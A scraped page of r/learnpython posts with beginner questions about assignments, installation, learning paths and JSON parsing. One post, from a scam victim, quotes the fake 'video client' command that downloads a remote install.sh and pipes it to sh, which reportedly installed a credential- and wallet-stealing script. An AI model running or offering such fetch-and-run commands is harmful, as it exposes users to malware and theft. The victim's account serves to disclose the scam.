r/learnpython • • Aug 27 '24

I need a question dumbing down because I'm just not getting it

0 Upvotes

Hello all,

I'm currently doing my Uni assignment so I'm not looking for ways to cheat or anything, I just need this question dumbing down in a way that makes sense so I can actually learn and work through it.

I have ADHD and I'm currently unmedicated so I'm struggling to process information which is why I'm asking, I really don't want to cheat and come here to gain the answers, I just need a really basic step by step of what I should be doing and looking for instead of this absolute BLOCK of text.

Any support and I will be extremely grateful, I'm getting so frustrated and I don't understand why I for some reason just can't get this one.

Thank you

The program has a dictionary, the keys of which are correct spellings, and the corresponding values are common misspellings of those words. For example, one dictionary entry is:

'accommodate':'accomodate'

The program should allow the user to ask for an entry from the dictionary. In response the program should choose an entry at random, and then display the correct and incorrect spellings in random order. It should then invite the user to input either ‘A’ or ‘B’, depending on whether they believe the first or the second spelling is the correct one.

When the user enters a response, the program should check whether the response is right. If so, it should congratulate the user; if not, it should inform them that their choice was wrong.

The user should be able to repeatedly ask for an entry and also have the option to quit instead.

A sample session might run like this:

Enter s to show a word and q to quit: s

Which spelling is right? A accommodate B accomodate

Enter A or B: A

Well done!

Enter s to show a word and q to quit: s

Which spelling is right? A aquire B acquire

Enter A or B: B

Well done!

Enter s to show a word and q to quit: s

Which spelling is right? A exhilarating B exilerating

Enter A or B: B

Sorry, the answer is A

Enter s to show a word and q to quit: s

Which spelling is right? A plagarism B plagiarism

Enter A or B: A

Sorry, the answer is B

Enter s to show a word and q to quit: s

Which spelling is right? A exhilarating B exilerating

Enter A or B: A

Well done!

Enter s to show a word and q to quit: q

A. We have provided a Python file Spellings_Flashcards_24D.py that you should work from when answering this question. Please note that we have not updated the comments to reflect the code changes and one of your tasks will be to do that.

If you read this program, you will find it is essentially the same as Flashcards_First_Complete_Version.py, except that we have replaced the glossary dictionary and all references to it with a dictionary words. The keys in this dictionary are correctly spelt words, and the corresponding values are common misspellings of those words.

If you run it at this point, it behaves much like Flashcards_First_Complete_Version.py except it shows correctly spelt words and the corresponding misspellings, rather than glossary terms and their definitions.

  • i.Write an algorithm for the following section from Box 1, reproduced here for convenience.*In response the program should choose an entry at random, and then display the correct and incorrect spellings in random order. It should then invite the user to input either ‘A’ or ‘B’, depending on whether they believe the first or the second spelling is the correct one.When the user enters a response, the program should check whether the response is right. If so, it should congratulate the user; if not, it should inform them that their choice was wrong.*You will need a way to decide whether the correct or incorrect spelling is displayed first. The method we suggest is to simulate the flipping of a coin, as discussed in Subsection 2.2.2. of Block 3 Part 2. If the simulated coin flip comes up heads, display the correct spelling first and the incorrect spelling second; otherwise, display the incorrect spelling first and the correct spelling second.Your algorithm should provide a similar level of detail to the show flashcard algorithm in Subsection 2.5.2 of Block 3 Part 2. Your algorithm should resemble the one shown there, except that the user will need to do more than just press return, and the program will have to evaluate the user response and act accordingly.

  • ii.Say briefly how you will test the program. Only a short answer is required, and you do not need to give examples, only describe in a few lines what approach you will follow.

  • iii.Now you will implement your algorithm as Python code, modifying the provided Python program Spellings_Flashcards_24D.py.Complete a new version of show_flashcard() by modifying the code so it implements the algorithm you produced in Part i.Also modify the docstring for the show_flashcard() function and the docstring for the program as a whole, to take account of the changed functionality and behaviour.Tip: if you want to print several items on the same line, Python lets you just make them arguments to a single print statement. For example, if variables x and y hold the values 1 and 2 respectively, executing the statementprint(x, ‘and’, y, ‘makes’, x + y)will result in1 and 2 makes 3Important note*: Do not make change to any other parts of the program.*When you have made the required changes, run the program to test it.Copy your modified program, as text, into your Solution Document.Please also note

  • The changes you make to the function show_flashcard() must be consistent with the algorithm you gave in Part i.

  • The chief purpose of this question is to let you show mastery of the TM112 problem solving approach and of the Python features that are introduced in the module and in the tip above.If you consider there is a compelling reason why you need features not introduced in TM112 you must explain your reasons; otherwise, marks may be lost.

  • If you are unable to get the program working correctly, you should still copy your code into your Solution Document with a brief explanation of how the results are different from what you intended.

  • iv.Write a short reflection looking back on your personal experience of solving the modified flashcard problem, following the framework given in Box 2 above and drawing on the notes you made as you went along.Include the final version of your completed Spellings_Flashcards_24D.py file in your TMA submission folder.


r/learnpython • • Aug 03 '26

Trying to install python problems

0 Upvotes

Hi guys I just started getting into python again but noticed its really different like I remember when I was 16 and first tried learning python and it was really easy to start "install, open desktop icon, YouTube tutorials, give up once motivation runs out." I figured that now that im older and more mature id try again but little did I know I would feel like a boomer in vr before even starting...I tried installing python and it said some stuff about paths and commands and once it installed it dissappeared without leaving a trace or a desktop icon and apparently I have to summon it like a old god via typing commands... does anyone have advice? i really just want to have a programming app to learn with. without feeling im going to brick my pc.


r/learnpython • • Jun 06 '26

Is chatgpt affecting my python learning?? Help me figure out pls!!

0 Upvotes

I am currently learning python at freecodecamp and I sometimes get stuck on a few instructions or steps. At those times, I use chatgpt asking it to simplify and guide me on it instead of giving me the direct code(like a tutor, ofc). And it was helpful. I just want to know if this is the right way or will it affect me in the long-term. What are your opinions on this?


r/learnpython • • Nov 27 '24

How Much DSA Do I Need for a 6–8 LPA Job?

0 Upvotes

Hey everyone!
I'm aiming for a job with a salary range of 6–8 LPA. I’m curious to know how much knowledge of Data Structures and Algorithms (DSA) is required to achieve this goal.

If you have any suggestions, tips, or resources that can guide me, I’d love to hear them! Your advice would be really helpful.

Thanks in advance!


r/learnpython • • May 25 '22

If I email my professor a python file, can they see the editing history?

0 Upvotes

I may have copy and pasted a portion of the file.

Originally it was supposed to be submitted via git classroom, but they are allowing me to submit via email.

So I want to know: will they be able to tell i copy and pasted from the file I will send? I did the work in my local repository but did not commit it.

Will “save as” python file copy my editing history as well?

Thanks


r/learnpython • • Nov 02 '25

Most efficient way to find a key/value in a deeply nested Dictionary?

0 Upvotes

I'm learning API and Json, and I'm having trouble parsing through the data.

Because the returned JSON is very badly formatted

{"coord": {"lon": 139.6917, "lat": 35.6895}, "weather": [{"id": 804, "main": "Clouds", "description": "overcast clouds", "icon": "04d"}], "base": "stations", "main": {"temp": 18.68, "feels_like": 18.17, "temp_min": 17.03, "temp_max": 19.33, "pressure": 1012, "humidity": 60, "sea_level": 1012, "grnd_level": 1010}, "visibility": 10000, "wind": {"speed": 2.72, "deg": 62, "gust": 2.56}, "clouds": {"all": 100}, "dt": 1762049602, "sys": {"type": 2, "id": 268395, "country": "JP", "sunrise": 1762031030, "sunset": 1762069540}, "timezone": 32400, "id": 1850144, "name": "Tokyo", "cod": 200}

 

Brehs... I just want to get the sky clearance and temperature.

So what I do now is I run this through ChatGPT and ask the AI to make it readable.

I do not ask chatgpt to spoonfeed me the index, just make it readable like so

https://i.imgur.com/U49dEA9.png

And from there I just manually try to understand the nesting index

But it still feels like cheating.

 

Is there a smarter way to do this? An easier way to just get the value without having it feel like sifting through a haystack?

Thanks


r/learnpython • • May 19 '26

What’s the best and safest way to compile Python code into a DLL?

0 Upvotes

Hi everyone,
I have a full Python application that I’d like to compile into a DLL so it can be integrated and used from another application on Windows. My main goal is to make distribution easier while also protecting the source code as much as possible and keeping good performance and stability.

I’ve been looking into options like Cython, Nuitka, pybind11, and embedding Python, but I’m still not sure what the best real-world approach is for converting an entire project instead of just a small module.

Is there any method that is considered significantly safer or harder to reverse engineer? Or is Python code inside a DLL still relatively easy to extract? I’m also wondering if people usually end up rewriting the whole project in C/C++ when they need a truly secure DLL.

I’d really appreciate recommendations or advice from anyone who has done this before.


r/learnpython • • Jan 13 '26

wants to know moreeee

0 Upvotes

guys is there any python codes that are made by other ppl i can maybe download and just have a look and try to understand something out of it and maybe edit it,

as i said on last post im new to python and i just want to see a real code that is ez to read/understand


r/learnpython • • May 31 '25

Best Python Certificate?

0 Upvotes

Hi guys, I'm an electrical engineering student and I want to have a few coding certificates to demonstrate that I do know how to code for getting my first job (nothing more nothing less and the rest will be my personal projects). What do you guys think is the best Python Certificate to have? I'm thinking edX courses.


r/learnpython • • 1d ago

i don't feel like i'm learning anything in Python. How do I actually get good?

3 Upvotes

i've been "learning" python for a few years. started when i was younger, parents made me do classes, i barely practiced so i remembered nothing. did classes again, same thing. now i'm doing classes again (codingal) but this time i'm actually trying to practice.

i've done the basics, loops, functions, oop, then tkinter and pygame in class. i don't remember most of it. i taught myself numpy and i kinda get it.

my class is going into ml now like stuff like : pandas, sql, stats, then regression, decision trees, clustering, neural networks with keras/tensorflow. i want to actually be good at this, not just copy code.

the problem is i can't build anything on my own. i've made an rpg and a numpy grade analyzer but only with ai helping me. i tried tic tac toe and got stuck partway. when i sit down with a blank file i just don't know what to do first, so i end up searching it up or asking ai. i feel like i can't think for myself.

i practice about 1-2 hrs a week (1 hr is class). now trying to do 3-5 on top of school and sports.

also, i build websites for small businesses on the side. i know basic html/css, but ai writes most of the code. is it worth learning web dev properly, or is ai good enough at that now that i should just focus on python/ml? and how do i get better at web design and develop good taste? i can build stuff but i can't always tell why one design looks better than another.

what's the best way to get from "i know the syntax" to "i can actually build stuff"? should i go back and redo pygame/tkinter or just push on into ml? any advice on what to do when you're staring at a blank file? Thank you very much 🙏


r/learnpython • • Jun 14 '25

What fields after learning python are least likely to be affected by AI?

0 Upvotes

Which of the fields that needs python as a prerequisite like web development, ML etc would be least likely to be affected by AI.

I’m pretty new to learning python and I’m making a career shift so I don’t want to have to learn python and a year from now have no use for it and only to be made redundant by an AI.

I may be wrong on this, could anyone please confirm if my concern is legitimate? Do I need to worry?


r/learnpython • • Jun 17 '25

How can I memorize python syntax

3 Upvotes

Im currently at a python campus learning the basic syntax and AI, but I have a hard time remembering stuff. Is there anyway I can remember it better? Any resources.


r/learnpython • • Aug 06 '26

How long to become decent at Python?

0 Upvotes

I’ve been studying about for about 2 months now and I’m taking an online MOOC through Georgia Tech as a prerequisite for grad school. Some days, I spend ~7-8 hours and other days, I spend maybe 2-3 hours. I just got finished taking the exam on functions, loops, exception handling, and conditionals. I’m debating on when to start learning Pandas and NumPy. I also hear people talking about doing projects, but I feel like I wouldn’t have a clue on how to build a project. I come from a clinical background with zero prior programming knowledge except AP computer science in high school. Any advice?


r/learnpython • • Dec 05 '25

Need help with learning Python

4 Upvotes

Hello, I’m a data analyst and has 4+ years of experience with hands on experience working on Sas Programming, SQL. I want to add Python to my profile, please suggest me good resources to learn Python/ websites that help me get there.

Thanks in advance.


r/learnpython • • Jan 29 '25

Learn Python in 1-2 weeks?

0 Upvotes

If i spend 3-4 hours every day on Python, can learn the basics and intermediate concepts within 1-2 weeks.?


r/learnpython • • Feb 15 '26

Best extensions for Python

0 Upvotes

I have an annoying issue with Python indentation. I don’t really plan my code — I just start writing — so fixing indentation later becomes insanely frustrating. It got me wondering: what are the best Python extensions or tools for this (or for Python in general)?

Edit - Let me set the context — I didn’t explain this properly earlier.

I forgot to wrap my main() logic in a try/except, and after adding it, I had to manually re-indent this whole match block — which was annoying.

Code:-

match args.command:

case "add" : cmdAdd(args)

case "init" : cmdInit(args)

case "commit" : cmdCommit(args)

case "status" : cmdStatus(args)

case "tag" : cmdTag(args)

case _ : print("Bad command.")

I know I can select everything and press Tab, but that still feels like a hassle. I come from Go, where I mostly just move curly braces and the formatter handles the rest.

Is there any shortcut or extension that can automatically refactor/indent a selected Python block when wrapping it in something like try/except?


r/learnpython • • Nov 08 '24

I don't enjoy coding but I am forcing myself to learn it.

0 Upvotes

So basically I tried multiple times this year to start my coding journey and always I started with python only but as soon as 1 week ends I stop enjoying it. Once again, I started doing it last week and today I am getting lazy to back to it. Can someone give me advice on this.


r/learnpython • • Jan 08 '24

Question from a Beginner: Worth the time and effort to learn in 2024?

5 Upvotes

Hope y'all are having a great day. Thanks for any advice.

I have some limited experience scripting in python., but recently have made a goal to proceed with more extensive training/learning. Looking forward to it, but have doubts.

With generative Al, is training from scratch a waste of time? Or, on the flip side, could learning pyhon be leveraged as a tool for use within gen ai among so many other applications?

Edit: I know it's a very general question, but kind of meant to be. Just wondering if the community has any high level thoughts on the topic.


r/learnpython • • Jan 18 '22

Does it make sense to think of Python just as a C library?

2 Upvotes

Everything in Python is just written in C, isn’t it? So every builtin can be decomposed into C operations.

So it’s just like a C library, with pre-written, useful C functions.

Is this true?

Thank you


r/learnpython • • Aug 05 '24

100 days of code

0 Upvotes

Has anyone of you finished the 100 days of code earlier than 100 days ? like if you are young and dont got responsibilities have you ever finiished it earlier than 100 days ? its 58 hours and a day has 24 hours , cant you just finish it in like 2 weeks if you have previous python knowledge a little ?


r/learnpython • • Aug 06 '24

When is the 3rd edition of "Automate the Boring Stuff with Python" expected to be released?

2 Upvotes

I am waiting for 6 months.


r/learnpython • • Jan 05 '25

Python FREE tutorials

0 Upvotes

I want to enhance my python skills, which sites are the best?


r/learnpython • • Dec 04 '24

Scammer had me run this script, what did it do?

0 Upvotes

Hi, I fell for a scam (Belkirk Group / TonMeet) and ended up running this malicious python script on my Macbook. It looks like it is probing for logins, crypto wallets, and stuff, and then maybe posting them to an endpoint. I don't care about the crypto stuff. I have firefox's master password feature turned on so I'm hoping my passwords are encrypted.

How bad is this situation? How much do you think they were actually able to get? I don't think I ever entered my laptop password, and it didn't run with sudo.

Paste of script code: https://pastebin.com/VQqU4XDu

edit: this pastebin is after I decoded and substituted in all of the encoded variables at the top, so that part of the obfuscation has been done, along with some other layers. The original command was curl -sSL -O [https://tonmeet.com/install.sh](https://tonmeet.com/install.sh) && sh install.sh and that installed some additional files, including a ".ts" file that actually contained this python code.

The attacker posed as a technical recruiter in an email, had me book an appointment with a tidycal.com link, which they had set the meeting link to a tonmeet.com link, which seems to be a fake video conferencing software website that told me to run the above command to download the video conferencing client. I was suspicious, but concluded on it being fake just a little too late.


r/learnpython • • Nov 30 '22

is python good for a hobby

2 Upvotes

Is coding python a good hobby? I recently started learning python 3 days ago. I don't see myself picking this as a career but more of a hobby of sorts.